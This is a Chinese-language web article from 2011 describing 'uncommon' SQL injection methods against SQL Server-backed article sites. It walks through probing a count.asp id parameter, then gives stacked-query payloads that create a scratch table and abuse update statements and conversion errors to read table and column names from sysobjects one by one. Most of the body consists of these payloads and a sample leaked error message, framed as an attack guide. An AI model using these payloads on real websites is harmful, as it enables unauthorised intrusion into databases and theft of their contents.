电脑软硬件应用网
当前位置: 电脑软硬件应用网 > 设计学院 > 网络编程 > 数据库 > 正文
SQL脚本注入的不常见方法概括
SQL脚本注入的不常见方法概括
2011-5-11 10:19:59  文/佚名   出处:中国站长   

  我来说说他们的文章系统原理:全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。

  攻击方法: 查看源文件/看里面是否有通过JS来调用的页面。如调用来更新文章的浏览次数。

  我们就可以这样来试一下可否注入: http://服务器域名/count.asp?id=1552’

  看一下是否出错。如出错说明有注入漏洞。然后正常攻击。

  在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)

  post.htm内容:主要是方便输入。

  对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER

  对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--

  然后插入一条记录:id=1552;insert into aaa values(’test’);--

  再之后枚举出他的数据表名:

  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--

  这是将第一个表名更新到aaa的字段处。

  id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:

  Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’
  将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
  /search.asp,行21

  其中vote就是表名:

  也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。

  读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。

  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--

  然后id=1552 and exists(select * from aaa where aaa>5)

  读出第二个表,^^^^^^一个个的读出,直到没有为止。

  读字段是这样:

  id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--

  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

  id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--

  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

  ……类推

  • 上一篇文章:

  • 下一篇文章: 没有了
  • 最新热点 最新推荐 相关文章
    在IIS中为SQL Server 2008配置报表服…
    SQL Server复制功能要避开缺陷的干扰
    SQL Server如何保证可空字段中非空值…
    SQL 高性能查询优化语句
    分享SQL快速统计表记录总数的SQL语句
    详解如何查找SQL数据库自增ID值不连…
    SQL重建索引重新释放掉字段因更改而…
    SQL教程:SQL Server备份和灾难恢复
    SQL注入攻击:防御和检查SQL注入的手…
    SQL Server日志文件丢失 进行恢复方…
    关于45IT | About 45IT | 联系方式 | 版权声明 | 网站导航 |

    Copyright © 2003-2011 45IT. All Rights Reserved 浙ICP备09049068号